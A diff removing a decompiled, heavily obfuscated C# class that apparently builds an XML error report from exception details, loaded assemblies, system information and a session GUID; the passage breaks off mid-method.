-using \u0006\u0002; -using \u0012; -using \u007F\u0004; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Xml; - -namespace \u0006\u0002 -{ - internal class \u0006\u0002 : \u001F\u0004 - { - private readonly Exception \u0001; - private readonly Guid \u0002; - private readonly char[] \u0003 = new char[0]; - private readonly Dictionary \u0004 = new Dictionary(); - private readonly Dictionary \u0005 = new Dictionary(); - private readonly XmlWriter \u0006; - private readonly List<\u001E\u0004> \u0007 = new List<\u001E\u0004>(); - private readonly List \u0008 = new List(); - private readonly Dictionary \u000E = new Dictionary(); - private readonly List<\u0006\u0002.\u0006\u0002.\u0006\u0002> \u000F = new List<\u0006\u0002.\u0006\u0002.\u0006\u0002>(); - private readonly Dictionary \u0010 = new Dictionary(); - private readonly MemoryStream \u0011; - private byte[] \u0012; - private \u0081\u0004 \u0013; - private EventHandler \u0014; - - public \u0006\u0002([In] Guid obj0, [In] Exception obj1, [In] IWebProxy obj2) - { - this.\u0002 = obj0; - this.\u0001 = obj1; - this.\u0011 = new MemoryStream(); - this.\u0006 = (XmlWriter) new XmlTextWriter((Stream) this.\u0011, (Encoding) new UTF8Encoding(false)); - this.\u0097\u0004(obj2); - string str; - if ((str = \u0082\u0002.\u007E\u0018\u0002((object) \u0002.\u0002\u0002(510))) == null) - return; - if (!\u008E\u0002.\u0006\u0002(str, \u0002.\u0002\u0002(523))) - { - if (!\u008E\u0002.\u0006\u0002(str, \u0002.\u0002\u0002(510))) - return; - this.\u0003 = new char[58] - { - '\u0001', - '\u0002', - '\u0003', - '\u0004', - '\u0005', - '\u0006', - '\a', - '\b', - '\u000E', - '\u000F', - '\u0010', - '\u0011', - '\u0012', - '\u0013', - '\u0014', - '\u0015', - '\u0016', - '\u0017', - '\u0018', - '\u0019', - '\u001A', - '\u001B', - '\u001C', - '\u001D', - '\u001E', - '\u001F', - '\u007F', - '\u0080', - '\u0081', - '\u0082', - '\u0083', - '\u0084', - '\u0086', - '\u0087', - '\u0088', - '\u0089', - '\u008A', - '\u008B', - '\u008C', - '\u008D', - '\u008E', - '\u008F', - '\u0090', - '\u0091', - '\u0092', - '\u0093', - '\u0094', - '\u0095', - '\u0096', - '\u0097', - '\u0098', - '\u0099', - '\u009A', - '\u009B', - '\u009C', - '\u009D', - '\u009E', - '\u009F' - }; - } - else - this.\u0003 = new char[62] - { - 'a', - 'b', - 'c', - 'd', - 'e', - 'f', - 'g', - 'h', - 'i', - 'j', - 'k', - 'l', - 'm', - 'n', - 'o', - 'p', - 'q', - 'r', - 's', - 't', - 'u', - 'v', - 'w', - 'x', - 'y', - 'z', - 'A', - 'B', - 'C', - 'D', - 'E', - 'F', - 'G', - 'H', - 'I', - 'J', - 'K', - 'L', - 'M', - 'N', - 'O', - 'P', - 'Q', - 'R', - 'S', - 'T', - 'U', - 'V', - 'W', - 'X', - 'Y', - 'Z', - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - } - - private static string \u0006\u0002([In] object obj0) - { - string str1; - try - { - if (obj0 == null) - { - string empty = string.Empty; - if (true) - { - str1 = empty; - goto label_35; - } - else - goto label_35; - } - else if (!(obj0 is int num10)) - { - if (obj0 is long num9) - { - if (true) - ; - string str2 = num9.ToString(\u0002.\u0002\u0002(532)); - if (true) - { - str1 = str2; - goto label_35; - } - else - goto label_35; - } - else - { - while (!(obj0 is short)) - { - if (obj0 is uint num5) - { - str1 = num5.ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - else - { - if (obj0 is ulong) - { - if (true) - { - if (true) - { - str1 = ((ulong) obj0).ToString(\u0002.\u0002\u0002(532)); - if (true) - goto label_35; - } - else - continue; - } - else - goto label_35; - } - else if (obj0 is ushort num4) - { - str1 = num4.ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - else if (!(obj0 is byte num3)) - { - if (true) - { - if (obj0 is sbyte num2) - { - str1 = num2.ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - else if (obj0 is IntPtr num1) - { - str1 = num1.ToInt64().ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - else - goto label_25; - } - else - goto label_35; - } - str1 = num3.ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - } - if (true) - { - int num6 = (int) (short) obj0; - if (true) - goto label_30; -label_9: - short num7; - str1 = num7.ToString(\u0002.\u0002\u0002(532)); - goto label_35; -label_30: - num7 = (short) num6; - goto label_9; - } -label_25: - if (obj0 is UIntPtr num8) - { - str1 = num8.ToUInt64().ToString(\u0002.\u0002\u0002(532)); - goto label_35; - } - } - } - else - { - if (true) - ; - string str3 = num10.ToString(\u0002.\u0002\u0002(532)); - if (true) - { - str1 = str3; - goto label_35; - } - else - goto label_35; - } - } - catch - { - } - return string.Empty; -label_35: - return str1; - } - - private static string \u0006\u0002([In] string obj0) - { - while (true) - { - if (obj0.StartsWith(\u0002.\u0002\u0002(537))) - { - int num = 5; - if (num != 0) - { - if (num != 0) - num = obj0.EndsWith(\u0002.\u0002\u0002(558)) ? 1 : 0; - else - continue; - } - if (num != 0) - break; - } - return obj0; - } - return \u0002.\u0002\u0002(579); - } - - private void \u0006\u0002([In] \u001E\u0004 obj0, [In] FieldInfo obj1) - { - string str1 = (object) obj1 == null ? (string) null : obj1.Name; - if (true) - goto label_63; -label_2: - string str2 = (object) obj1 == null ? \u0002.\u0002\u0002(661) : \u0002.\u0002\u0002(652); - if (true) - goto label_64; -label_3: - object obj2 = obj0.\u0006\u0002(); - if (true) - goto label_65; -label_4: - object obj3; - string str3; - string str4; - if (obj3 == null) - { - \u0092\u0004.\u0006\u0002 obj4 = new \u0092\u0004.\u0006\u0002(this.\u0006, str3); - if (true) - goto label_66; -label_6: - \u0092\u0004.\u0006\u0002 obj5; - try - { - if ((object) obj1 != null) - { - if (\u008B\u0002.\u007E\u0088\u0005((object) obj1)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(670), \u0002.\u0002\u0002(679)); - Type type1 = \u0086\u0002.\u007E\u0084\u0005((object) obj1); - if (true) - goto label_22; -label_10: - Type type2; - if ((object) type2 != null && \u008B\u0002.\u007E\u009D\u0003((object) type2)) - { - this.\u0006\u0002(\u0086\u0002.\u007E\u009E\u0003((object) type2)); - if (\u008B\u0002.\u007E\u009A\u0003((object) type2)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(684), \u0002.\u0002\u0002(679)); - if (\u008B\u0002.\u007E\u009B\u0003((object) type2)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(693), \u0002.\u0002\u0002(679)); - if (\u008B\u0002.\u007E\u0099\u0003((object) type2)) - { - XmlWriter xmlWriter = this.\u0006; - string localName = \u0002.\u0002\u0002(706); - int num1 = \u0084\u0002.\u007E\u008F\u0003((object) type2); - if (true) - goto label_23; -label_17: - int num2; - string str5 = num2.ToString(); - xmlWriter.WriteAttributeString(localName, str5); - goto label_19; -label_23: - num2 = num1; - goto label_17; - } - else - goto label_19; - } - else - { - this.\u0006\u0002(type2); - goto label_19; - } -label_22: - type2 = type1; - goto label_10; - } -label_19: - if (str4 != null) - this.\u0006\u0002(str4); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(715), \u0002.\u0002\u0002(679)); - return; - } - finally - { - if (obj5 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj5); - } -label_66: - obj5 = obj4; - goto label_6; - } - else - { - Type type = \u0086\u0002.\u007E\u0099(obj0.\u0006\u0002()); - string str6 = (string) null; - string str7 = (string) null; - if (obj3 is string) - str6 = \u0002.\u0002\u0002(724); - if (str6 == null) - { - if (\u008B\u0002.\u007E\u009C\u0003((object) type) || obj3 is IntPtr || obj3 is UIntPtr) - { - str6 = \u0082\u0002.\u007E\u008D\u0003((object) type); - if (obj3 is char ch) - { - int num = (int) ch; - StringBuilder stringBuilder1 = new StringBuilder(); - if (num >= 32) - { - StringBuilder stringBuilder2 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder1, '\''); - StringBuilder stringBuilder3 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder1, (char) obj3); - StringBuilder stringBuilder4 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder1, \u0002.\u0002\u0002(745)); - } - StringBuilder stringBuilder5 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder1, \u0002.\u0002\u0002(750)); - StringBuilder stringBuilder6 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder1, num.ToString(\u0002.\u0002\u0002(532))); - StringBuilder stringBuilder7 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder1, ')'); - str7 = \u0082\u0002.\u007E\u0095((object) stringBuilder1); - } - if (obj3 is bool) - str7 = \u0082\u0002.\u007E\u0017\u0002((object) \u0082\u0002.\u007E\u0095(obj3)); - if (str7 == null) - { - string str8 = \u0006\u0002.\u0006\u0002.\u0006\u0002(obj3); - if (\u0084\u0002.\u007E\u000E\u0002((object) str8) > 0) - { - StringBuilder stringBuilder8 = new StringBuilder(); - StringBuilder stringBuilder9 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder8, \u0082\u0002.\u007E\u0095(obj3)); - StringBuilder stringBuilder10 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder8, \u0002.\u0002\u0002(755)); - StringBuilder stringBuilder11 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder8, str8); - StringBuilder stringBuilder12 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder8, ')'); - str7 = \u0082\u0002.\u007E\u0095((object) stringBuilder8); - } - else - str7 = \u0082\u0002.\u007E\u0095(obj3); - } - } - else if (\u008B\u0002.\u007E\u0096\u0003((object) type) && (object) \u0080\u0003.\u007E\u008A\u0003((object) type) != (object) \u0080\u0003.\u007E\u008A\u0003((object) \u0086\u0002.\u0099((object) this))) - str6 = \u0082\u0002.\u007E\u008D\u0003((object) type); - } - \u0092\u0004.\u0006\u0002 obj6 = new \u0092\u0004.\u0006\u0002(this.\u0006, str3); - try - { - if ((object) obj1 != null && \u008B\u0002.\u007E\u0088\u0005((object) obj1)) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(670), \u0002.\u0002\u0002(679)); - if (str6 != null) - { - this.\u0006\u0002(type); - if (str4 != null) - this.\u0006\u0002(str4); - if (\u008B\u0002.\u007E\u0097\u0003((object) type)) - str7 = \u0082\u0002.\u007E\u0095(obj3); - if (obj3 is Guid) - str7 = \u0099\u0002.\u001D\u0002((object) \u0002.\u0002\u0002(189), obj3, (object) \u0002.\u0002\u0002(764)); - if (str7 == null) - str7 = \u0099\u0002.\u001D\u0002((object) \u0002.\u0002\u0002(769), obj3, (object) \u0002.\u0002\u0002(769)); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(774), \u0006\u0002.\u0006\u0002.\u0006\u0002(str7)); - return; - } - if ((object) obj1 != null) - this.\u0006\u0002(\u0086\u0002.\u007E\u0084\u0005((object) obj1)); - this.\u0006\u0002(obj0); - if (str4 == null) - return; - this.\u0006\u0002(str4); - return; - } - finally - { - if (obj6 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj6); - } - } -label_65: - obj3 = obj2; - goto label_4; -label_64: - str3 = str2; - goto label_3; -label_63: - str4 = str1; - goto label_2; - } - - private void \u0006\u0002([In] \u001E\u0004 obj0) - { - object obj = obj0.\u0006\u0002(); - if (true) - goto label_17; -label_2: - if (true) - goto label_18; -label_3: - if (true) - goto label_19; -label_9: - int index; - object objB; - int num1; - int count; - while (true) - { - int num2; - do - { - int num3 = index; - int num4 = this.\u0007.Count; - while (true) - { - if (num3 < num4) - goto label_23; - else - goto label_11; -label_4: - int num5; - if (num5 != 0) - { - int num6 = index; - if (true) - goto label_20; -label_6: - if (false) - goto label_7; - else - goto label_11; -label_20: - num1 = num6; - goto label_6; - } - else - break; -label_11: - if (num1 == -1) - { - count = this.\u0007.Count; - int num7 = 0; - if (num7 != 0) - { - num4 = num7; - num3 = count; - continue; - } - if (num7 != 0) - { - num5 = count; - goto label_4; - } - else - goto label_14; - } - else - goto label_16; -label_23: - num5 = object.ReferenceEquals(this.\u0007[index].\u0006\u0002(), objB) ? 1 : 0; - goto label_4; - } - num2 = index + 1; - } - while (false); - index = num2; - } -label_7: - return; -label_14: - if (true) - goto label_22; -label_15: - this.\u0007.Add(obj0); - goto label_16; -label_22: - num1 = count; - goto label_15; -label_16: - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(783), num1.ToString()); - return; -label_19: - index = 0; - goto label_9; -label_18: - num1 = -1; - goto label_3; -label_17: - objB = obj; - goto label_2; - } - - private void \u0006\u0002([In] string obj0) - { - int num1 = this.\u0006\u0002(obj0); - int num2; - if (true) - { - if (true) - goto label_8; -label_3: - num1 = num2; - goto label_4; -label_8: - num2 = num1; - goto label_3; - } -label_4: - if (num1 != -1) - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(788), num2.ToString()); - } - else - { - if (false) - return; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(797), obj0); - } - } - - private static \u0006\u0002.\u0006\u0002.\u001E\u0004 \u0006\u0002([In] Type obj0) - { - \u0006\u0002.\u0006\u0002.\u001E\u0004 obj1 = \u0006\u0002.\u0006\u0002.\u001E\u0004.\u0006\u0002(); - if (true) - goto label_7; -label_1: - if (true) - goto label_11; -label_4: - \u0006\u0002.\u0006\u0002.\u001E\u0004 obj2; - ref \u0006\u0002.\u0006\u0002.\u001E\u0004 local1 = ref obj2; - Assembly assembly1; - Guid guid1 = \u009A\u0003.\u007E\u001D\u0005((object) \u0080\u0003.\u007E\u0005\u0005((object) assembly1)); - if (true) - goto label_10; -label_5: - Guid guid2; - \u0006\u0002.\u0006\u0002.\u0006\u0002 obj3 = new \u0006\u0002.\u0006\u0002.\u0006\u0002(guid2.ToString(\u0002.\u0002\u0002(867)), \u0082\u0002.\u007E\u0001\u0005((object) assembly1)); - local1.\u0002 = obj3; - goto label_6; -label_10: - guid2 = guid1; - goto label_5; -label_6: - return obj2; -label_11: - if ((object) obj0 != null && (object) obj0.Assembly.GetType(\u0002.\u0002\u0002(806)) != null) - { - ref \u0006\u0002.\u0006\u0002.\u001E\u0004 local2 = ref obj2; - int num1 = (\u0084\u0002.\u007E\u0088\u0003((object) obj0) & 16777215) - 1; - if (true) - goto label_8; -label_3: - int num2; - string str = num2.ToString(); - local2.\u0001 = str; - Assembly assembly2 = \u0081\u0003.\u007E\u008B\u0003((object) obj0); - if (true) - { - assembly1 = assembly2; - goto label_4; - } - else - goto label_4; -label_8: - num2 = num1; - goto label_3; - } - else - goto label_6; -label_7: - obj2 = obj1; - goto label_1; - } - - private int \u0006\u0002([In] \u0006\u0002.\u0006\u0002.\u001E\u0004 obj0) - { - string upper = obj0.\u0002.\u0001.ToUpper(); - if (true) - goto label_10; -label_1: - string key; - if (this.\u0010.ContainsKey(key)) - return this.\u0010[key]; - int count = this.\u000F.Count; - if (true) - goto label_11; -label_5: - int num1 = 0; - int num2; - int num3; - while (true) - { - if (num1 == 0) - { - this.\u000F.Add(obj0.\u0002); - this.\u0010.Add(key, num2); - } - num3 = num2; - if (false) - num1 = num3; - else - break; - } - return num3; -label_11: - num2 = count; - goto label_5; -label_10: - key = upper; - goto label_1; - } - - private void \u0006\u0002([In] Type obj0) - { - if ((object) obj0 == null) - return; - try - { - \u0006\u0002.\u0006\u0002.\u001E\u0004 obj1 = \u0006\u0002.\u0006\u0002.\u0006\u0002(obj0); - if (true) - goto label_27; -label_2: - \u0006\u0002.\u0006\u0002.\u001E\u0004 obj2; - int num1; - if (!obj2.\u0006\u0002()) - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(872), obj2.\u0001); - num1 = this.\u0006\u0002(obj2); - } - else - goto label_7; -label_4: - if (true) - goto label_28; -label_5: - int num2; - if (num2 <= 0) - return; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(885), num2.ToString()); - return; -label_28: - num2 = num1; - goto label_5; -label_7: - string str1 = \u0082\u0002.\u007E\u008D\u0003((object) obj0); - if (true) - goto label_29; -label_8: - string key; - int num3; - int num4; - for (int index = this.\u000E.ContainsKey(key) ? 1 : 0; index == 0; index = num4) - { - StringBuilder stringBuilder1 = new StringBuilder(); - if (true) - goto label_31; -label_13: - string str2 = \u0082\u0002.\u007E\u001B\u0005((object) \u0090\u0003.\u007E\u009F\u0004((object) \u0081\u0003.\u007E\u008B\u0003((object) obj0))); - if (true) - goto label_32; -label_14: - string str3; - num1 = \u0084\u0002.\u007E\u000E\u0002((object) str3); - StringBuilder stringBuilder2; - if (true) - { - if (num1 > 0 && \u008E\u0002.\u0007\u0002(str3, \u0002.\u0002\u0002(898))) - { - StringBuilder stringBuilder3 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder2, '['); - StringBuilder stringBuilder4 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder2, str3); - StringBuilder stringBuilder5 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder2, ']'); - } - string str4 = \u0082\u0002.\u007E\u008E\u0003((object) obj0); - if (\u0084\u0002.\u007E\u000E\u0002((object) str4) > 0) - { - StringBuilder stringBuilder6 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder2, str4); - StringBuilder stringBuilder7 = \u009E\u0002.\u007E\u0082\u0002((object) stringBuilder2, '.'); - } - if (\u008B\u0002.\u007E\u009D\u0003((object) obj0)) - obj0 = \u0086\u0002.\u007E\u009E\u0003((object) obj0); - int num5 = \u0095\u0002.\u007E\u0015\u0002((object) key, \u0002.\u0002\u0002(911)); - num4 = num5; - if (false) - continue; - if (num4 > 0) - { - string str5 = \u0096\u0002.\u007E\u001A\u0002((object) \u0092\u0002.\u007E\u0011\u0002((object) key, \u0084\u0002.\u007E\u000E\u0002((object) str4) + 1, num5 - \u0084\u0002.\u007E\u000E\u0002((object) str4)), \u0002.\u0002\u0002(911), \u0002.\u0002\u0002(916)); - StringBuilder stringBuilder8 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder2, str5); - } - StringBuilder stringBuilder9 = \u009D\u0002.\u007E\u0081\u0002((object) stringBuilder2, \u0082\u0002.\u007E\u0086\u0003((object) obj0)); - num3 = this.\u0008.Count; - this.\u0008.Add(\u0082\u0002.\u007E\u0095((object) stringBuilder2)); - this.\u000E.Add(key, num3); - goto label_25; - } - else - goto label_4; -label_32: - str3 = str2; - goto label_14; -label_31: - stringBuilder2 = stringBuilder1; - goto label_13; - } - int num6 = this.\u000E[key]; - if (true) - num3 = num6; -label_25: - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(921), num3.ToString()); - return; -label_29: - key = str1; - goto label_8; -label_27: - obj2 = obj1; - goto label_2; - } - catch - { - } - } - - private int \u0006\u0002([In] string obj0) - { - int num1; - try - { - int num2 = this.\u0003[0] == '\u0001' ? 1 : 0; - bool flag1; - if (true) - flag1 = num2 != 0; - int num3; - switch (obj0) - { - case null: -label_3: - num3 = -1; - if (num3 != 0) - { - if (true) - { - num1 = num3; - goto label_34; - } - else - goto label_34; - } - else - goto label_11; - default: - if (obj0.Length != 0 && (!flag1 || \u0084\u0002.\u007E\u000E\u0002((object) obj0) <= 4)) - { - if (flag1) - goto label_5; - else - break; - } - else - goto case null; - } -label_2: - if (\u008F\u0002.\u007E\u0008\u0002((object) obj0, 0) != '#') - goto label_3; -label_5: - if (true) - goto label_27; -label_6: - int num4 = \u0084\u0002.\u007E\u000E\u0002((object) obj0) - 1; - int num5; - if (true) - { - num5 = num4; - goto label_22; - } - else - goto label_22; -label_27: - int num6 = 0; - goto label_6; -label_11: - int index = num3; - goto label_17; -label_13: - char ch; - int num7 = (int) ch; - int num8; - int num9; - if (num8 == num7) - { - num9 = num6 * this.\u0003.Length + index; - } - else - { - ++index; - goto label_17; - } -label_15: - num6 = num9; - bool flag2 = true; - goto label_18; -label_17: - if (index < this.\u0003.Length) - { - num8 = (int) this.\u0003[index]; - goto label_13; - } -label_18: - if (!flag2) - { - int num10 = -1; - if (num10 == 0) - { - num9 = num10; - goto label_15; - } - else - { - num1 = num10; - goto label_34; - } - } - else - --num5; -label_22: - if (num5 >= 0 && (flag1 || num5 != 0)) - { - int num11 = (int) \u008F\u0002.\u007E\u0008\u0002((object) obj0, num5); - if (true) - goto label_29; -label_8: - if (true) - { - if (true) - goto label_30; -label_10: - num3 = 0; - goto label_11; -label_30: - flag2 = false; - goto label_10; - } - else - goto label_2; -label_29: - ch = (char) num11; - goto label_8; - } - else - { - int num12 = num6; - if (false) - { - num8 = num12; - goto label_13; - } - else - num1 = num12; - } - } - catch - { - num1 = -1; - } -label_34: - return num1; - } - - private static string \u0006\u0002() - { - try - { - return \u0017\u0004.\u0012\u0007(); - } - catch - { - return \u0002.\u0002\u0002(934); - } - } - - private Assembly[] \u0006\u0002() - { - Assembly[] assemblyArray1; - try - { - do - { - Assembly[] assemblies = \u000E\u0003.\u009E\u0002().GetAssemblies(); - if (true) - goto label_2; -label_1: - continue; -label_2: - assemblyArray1 = assemblies; - goto label_1; - } - while (false); - } - catch - { - Assembly[] assemblyArray2; - if (true) - assemblyArray2 = new Assembly[1] - { - \u0006\u0002.\u0006\u0002.\u0006\u0002() - }; - assemblyArray1 = assemblyArray2; - } - return assemblyArray1; - } - - private static Assembly \u0006\u0002() - { - try - { - return \u0098\u0003.\u0010\u0005(); - } - catch - { - return (Assembly) null; - } - } - - private byte[] \u001E\u0004() - { - if (this.\u0012 != null) - return this.\u0012; - this.\u0006.WriteStartDocument(); - \u0092\u0004.\u0006\u0002 obj1 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(939)); - if (true) - goto label_144; -label_1: - \u0092\u0004.\u0006\u0002 obj2; - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(972), \u0082\u0002.\u007E\u0018\u0002((object) \u0002.\u0002\u0002(989))); - XmlWriter xmlWriter1 = this.\u0006; - string localName1 = \u0002.\u0002\u0002(1042); - DateTime dateTime1 = \u0003\u0003.\u008F\u0002(); - if (true) - goto label_136; -label_2: - DateTime dateTime2; - string str1 = dateTime2.ToString(\u0002.\u0002\u0002(1055)); - xmlWriter1.WriteAttributeString(localName1, str1); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(114), \u0006\u0002.\u0006\u0002.\u0006\u0002()); - if (\u001B\u0003.\u0017\u0003(this.\u0002, Guid.Empty)) - { - XmlWriter xmlWriter2 = this.\u0006; - string localName2 = \u0002.\u0002\u0002(1060); - Guid guid1 = this.\u0002; - if (true) - goto label_137; -label_4: - Guid guid2; - string str2 = guid2.ToString(\u0002.\u0002\u0002(867)); - xmlWriter2.WriteAttributeString(localName2, str2); - goto label_5; -label_137: - guid2 = guid1; - goto label_4; - } -label_5: - XmlWriter xmlWriter3 = this.\u0006; - string localName3 = \u0002.\u0002\u0002(1069); - Guid guid3 = \u001C\u0003.\u0018\u0003(); - if (true) - goto label_138; -label_6: - Guid guid4; - string str3 = guid4.ToString(\u0002.\u0002\u0002(867)); - xmlWriter3.WriteAttributeString(localName3, str3); - if (this.\u000F.Count > 0) - this.\u000F.Clear(); - this.\u000F.Add(new \u0006\u0002.\u0006\u0002.\u0006\u0002(\u0002.\u0002\u0002(989), string.Empty)); - if (this.\u0010.Count > 0) - this.\u0010.Clear(); - this.\u0010.Add(\u0002.\u0002\u0002(989), 0); - \u0092\u0004.\u0006\u0002 obj3 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1082)); - if (true) - goto label_139; -label_11: - \u0092\u0004.\u0006\u0002 obj4; - try - { - Assembly assembly1 = \u0006\u0002.\u0006\u0002.\u0006\u0002(); - if (true) - goto label_23; -label_12: - Assembly assembly2; - foreach (Assembly assembly3 in this.\u0006\u0002()) - { - if ((object) assembly3 != null) - { - \u0092\u0004.\u0006\u0002 obj5 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(885)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(797), \u0082\u0002.\u007E\u0001\u0005((object) assembly3)); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1099), \u0082\u0002.\u007E\u009E\u0004((object) assembly3)); - if ((object) assembly3 == (object) assembly2) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1112), \u0002.\u0002\u0002(679)); - } - catch - { - } - finally - { - if (obj5 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj5); - } - } - } - goto label_27; -label_23: - assembly2 = assembly1; - goto label_12; - } - finally - { - if (obj4 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj4); - } -label_27: - \u0092\u0004.\u0006\u0002 obj6 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1121)); - try - { - while (this.\u0004 != null) - { - if (this.\u0004.Count > 0) - { - if (true) - { - using (Dictionary.KeyCollection.Enumerator enumerator = this.\u0004.Keys.GetEnumerator()) - { - while (enumerator.MoveNext()) - { - string current = enumerator.Current; - \u0092\u0004.\u0006\u0002 obj7 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1146)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(797), current); - string str4 = (string) this.\u0004[current]; - if (str4 == null) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(715), \u0002.\u0002\u0002(679)); - else - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(774), \u009B\u0002.\u001F\u0002(\u0002.\u0002\u0002(769), str4, \u0002.\u0002\u0002(769))); - } - finally - { - if (obj7 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj7); - } - } - break; - } - } - } - else - break; - } - } - finally - { - if (obj6 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj6); - } - if (this.\u0005 != null && this.\u0005.Count > 0) - { - \u0092\u0004.\u0006\u0002 obj8 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1167)); - try - { - foreach (string key in this.\u0005.Keys) - { - \u0092\u0004.\u0006\u0002 obj9 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1188)); - try - { - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1205), key); - \u0006\u0002.\u0006\u0002.\u0008 obj10 = this.\u0005[key]; - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1210), obj10.\u0001); - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1223), obj10.\u0004.ToString()); - if (\u0084\u0002.\u007E\u000E\u0002((object) obj10.\u0003) > 0) - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1232), obj10.\u0003); - else - \u001C\u0002.\u007E\u0016((object) this.\u0006, \u0002.\u0002\u0002(1241), obj10.\u0002); - } - finally - { - if (obj9 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj9); - } - } - } - finally - { - if (obj8 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj8); - } - } - \u0092\u0004.\u0006\u0002 obj11 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1250)); - try - { - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(1275), \u0082\u0002.\u007E\u0095((object) \u0018\u0003.\u0012\u0003())); - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(1292), \u0082\u0002.\u007E\u0095((object) \u001F\u0003.\u007E\u0084\u0003((object) \u0019\u0003.\u0013\u0003()))); - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(1305), \u0082\u0002.\u007E\u0095((object) \u001E\u0003.\u007E\u0083\u0003((object) \u0019\u0003.\u0013\u0003()))); - \u001C\u0002.\u007E\u0018((object) this.\u0006, \u0002.\u0002\u0002(1322), \u0093\u0004.\u0006\u0002()); - this.\u0006.WriteElementString(\u0002.\u0002\u0002(1339), \u0093\u0004.\u001E\u0004() ? \u0002.\u0002\u0002(679) : \u0002.\u0002\u0002(1352)); - this.\u0006.WriteElementString(\u0002.\u0002\u0002(1357), \u0093\u0004.\u0006\u0002() ? \u0002.\u0002\u0002(679) : \u0002.\u0002\u0002(1352)); - this.\u0006.WriteElementString(\u0002.\u0002\u0002(1362), \u0093\u0004.\u0092\u0004() ? \u0002.\u0002\u0002(679) : \u0002.\u0002\u0002(1352)); - } - catch - { - } - finally - { - if (obj11 != null) - \u001A\u0002.\u007E\u0004\u0002((object) obj11); - } - List exceptionList = new List(); - for (Exception exception = this.\u0001; exception != null; exception = \u001D\u0002.\u007E\u0088\u0002((object) exception)) - exceptionList.Add(exception); - exceptionList.Reverse(); - \u0092\u0004.\u0006\u0002 obj12 = new \u0092\u0004.\u0006\u0002(this.\u0006, \u0002.\u0002\u0002(1379)); - try - { - using (List.Enumerator enumerator1 = exceptionList.GetEnumerator()) - { - while (true) - { - if (!enumerator1.MoveNext()) - goto label_109; -label_73: - Exception current = enumerator1.Current; - try - { - this.\u0006\u0002(current); - if (\u0083\u0002.\u007E\u001A\u0004((object) \u0002\u0003.\u007E\u0087\u0002((object) current), (object) 